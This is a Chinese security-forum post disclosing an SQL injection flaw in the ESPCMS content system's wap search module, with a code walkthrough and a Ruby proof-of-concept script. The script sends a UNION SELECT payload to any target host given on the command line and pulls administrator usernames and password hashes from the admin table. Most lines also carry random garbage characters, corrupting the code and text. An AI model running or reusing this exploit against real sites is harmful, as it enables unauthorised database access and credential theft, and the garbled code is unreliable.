中国网络渗透测试联盟

标题: espcms wap模块搜索处SQL注入 [打印本页]

作者: admin    时间: 2013-7-27 18:31
标题: espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节7 [# A( o( c# ]8 G
0×2 PoC9 |! c' i5 ~$ c. d

. b, t! j7 Q& }3 M
4 g, U0 ?+ ~6 w; g; C9 F9 J9 D, _0 E8 a
0×0 漏洞概述
# O  A% u4 ~; T, H6 _4 \  w" m, w: T4 R
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
/ G: `) P( U* P& z4 ^, }* ?其在处理传入的参数时考虑不严谨导致SQL注入发生
0 |& a2 l5 [( V) C$ v6 ~# A. W: L6 U3 a! S# h+ @

, V( }: e4 k" ]8 s/ P7 X0×1 漏洞细节
+ z0 _6 v9 g0 E+ g8 P, t2 K, i/ L; Y' |8 ^8 M
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。$ W. i% H$ T( `! }
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
" z7 u: ^$ e5 m! M1 D9 H而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。7 b6 q4 Z. [) y6 E/ q+ Y# a

" e( P! W1 T+ [8 D: B* @在/interface/3gwap_search.php文件的in_result函数中:
6 ^! g! A8 z9 `; Y+ Q0 l4 _5 }7 r; X: N. q0 Y* u
9 h" v) q; L7 B! ~
* v: q3 U2 q. ]+ r: H
       function in_result() {7 G. @  m: e; ?# }% p. f
            ... ... ... ... ... ... ... ... ...& E4 U; w5 d+ R0 C# t- z
            $urlcode = $_SERVER[ 'QUERY_STRING '];
7 E- c8 ?6 c6 o6 z            parse_str(html_entity_decode($urlcode), $output);, B. r; r* t; I

2 [. H. M. e5 X$ k  A0 n8 w            ... ... ... ... ... ... ... ... ...
& f9 S4 Y! K9 e* d# N  y            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
. l/ C- ]# |; a6 `7 r/ M% K% ?" [; N0 ?5 H  M+ t8 V7 l
                  $db_table = db_prefix . 'model_att';
& H% V6 z: y$ K
+ W% h* I" F9 g- Z- g& r                   foreach ($output['attr' ] as $key => $value) {
1 q/ l& J7 j" f3 H5 Q' S                         if ($value) {
8 t. ?. G5 L" B) q5 m9 M) N5 F1 {( }4 g3 M( q
                              $key = addslashes($key);
7 G. s- `; w- Q* X* q                              $key = $this-> fun->inputcodetrim($key);) z( D! E$ H7 I% R
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
1 Q- j/ c0 B1 S: G" `# W* B3 q                              $countnum = $this->db_numrows($db_table, $db_att_where);
7 ^( a% x0 j7 M8 B/ Y0 j                               if ($countnum > 0) {9 u  s6 X, e" N' V' ^2 M0 {
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
0 m1 c8 f1 U4 _0 n$ @                              }- g9 N  G5 e# z$ d. z$ _! Q
                        }+ i& H9 O: s1 l0 p
                  }4 o5 C/ }/ j, U  _# v  k3 V% [  F& e
            }
4 ~6 C* @7 f9 m% \! T: u            if (!empty ($keyword) && empty($keyname)) {; u. j9 H; G: E  a/ Z
                  $keyname = 'title';
" V; l) v/ s7 s3 \. z                  $db_where.= " AND a.title like '%$keyword%'" ;2 J- |3 h+ R! n0 I
            } elseif (!empty ($keyword) && !empty($keyname)) {9 v3 z7 o2 a; R% Z( H8 I: L
                  $db_where.= " AND $keyname like '% $keyword%'";$ C& N& j4 X6 N( J' X7 F
            }
/ z0 K3 x! j9 P1 ^            $pagemax = 15;
5 |% _- V5 S, C" @
$ l% q: n2 j5 w% N) g- p' O: h! @2 d0 C# D            $pagesylte = 1;
0 N% u6 c" S% q. m# g: Z: g* m7 G# z* U
             if ($countnum > 0) {. ]9 h/ \4 U. E% i1 ~2 ]

0 T4 S% }& }: r; p2 _, K! B% F                  $numpage = ceil($countnum / $pagemax);
* s# F7 G4 S& j  M. m            } else {
, x: t) |4 Y8 w5 V* c7 }                  $numpage = 1;
3 |/ A& o) X, [5 T! V0 M1 }            }) L" _% L; @% O, l4 ^) o
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;" W2 _7 L4 H, u( l+ Z  G4 v
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
9 f' O" T' o& }$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
* \3 x' g4 b% B% [! T6 I            ... ... ... ... ... ... ... ... ...
4 Q# w8 J7 K6 H& k/ |# [      }
- b4 ?3 j) v9 E0 G, \6 J, u
0 d" S3 z- U2 H6 o+ r. b" o. ?; [4 ~
0×2 PoC& J; D" r1 |4 U) v; e& a6 R  O
- A/ z. k+ u5 {

: Q, W; }# x7 j4 C8 R, \  F
: s5 a$ b' `( S1 Z) P2 grequire "net/http"
. V; ^) @9 `  ?* i8 G: R+ P2 N4 ?/ b' Y- @2 H
def request(method, url)" Q3 J6 {8 y/ M( ^# G" C- B' ~
    if method.eql?("get")
0 P1 c2 D; y/ w' k5 o& i8 N        uri = URI.parse(url)
/ ]- U7 o" o' [( |        http = Net::HTTP.new(uri.host, uri.port)
% M6 q& W% r- q6 C0 H& R1 L$ x        response = http.request(Net::HTTP::Get.new(uri.request_uri))+ n. U+ X! o* t" o7 U
        return response
. X3 K' R* n1 b" W9 h/ E5 U    end) y$ L# E0 N9 D7 Z. E& j, ?
end( g4 _  B9 I8 A( J' p& L( a
2 q( }; V6 q) s' e5 ]* @+ r
doc =<<HERE7 a) E  `/ m" \% P7 C6 n
-------------------------------------------------------
/ ]& W6 J; Q* f' oEspcms Injection Exploit, v8 W8 |2 C  a3 Z  e4 P4 A8 c
Author:ztz
1 H+ F8 E& Y- i) pBlog:http://ztz.fuzzexp.org/# r# K; ^" `$ O3 z% e& }5 `
-------------------------------------------------------, |5 }+ u/ r/ f! Z- O7 u& M
6 Y8 k9 B  M" c+ F$ d9 e) \- t4 d3 a
HERE
- Y8 [* L' |+ c* q5 Q
" i) \6 e+ a# y5 n( f- f! gusage =<<HERE5 x: r  b7 n7 C; G* H
Usage:         ruby #{$0} host port path+ K& M- D+ n- A2 F1 g- D  e
example:     ruby #{$0} www.target.com 80 /
" E* w' O: ~3 K4 p5 Y) \! d8 r7 xHERE
. J8 ~: q! R) K& Q! G: j& ?1 d+ \4 B$ h; U  c
puts doc
. f0 p9 L: T8 Vif ARGV.length < 3( u; h. @4 P- ^
    puts usage9 g/ P! }  G: ]& h' b" {  b
else) M$ z: \/ D1 [5 z1 e& j2 g
    $host = ARGV[0]) F% J, H$ h; y  ?
    $port = ARGV[1]
9 v0 F7 t" ^* ]2 t# L" j    $path = ARGV[2]& ^, K$ l6 V2 z! ?/ F' v2 `

( S* y/ o. ]( j" \' {% z    puts "
  • send request..."8 l( ]( p7 D# Z! Y3 {
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&, l$ n8 _% c: M, A6 _" v
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13% C5 ?, J3 T0 ~2 ^
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,276 a  W# q  h9 ^* q
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"0 v) V  c+ `3 d$ o
        response = request("get", url)  u' q' |$ y8 G( _" q7 Y/ S
        result = response.body.scan(/\w+&\w{32}/)
    * z2 \  q7 K+ I' s# r8 a: `* H2 G    puts result
    : }+ ^1 J0 x% x3 n% v. }( rend
    8 L' T5 @# p" E+ \- d; l: K4 Q$ y3 r7 q





    欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2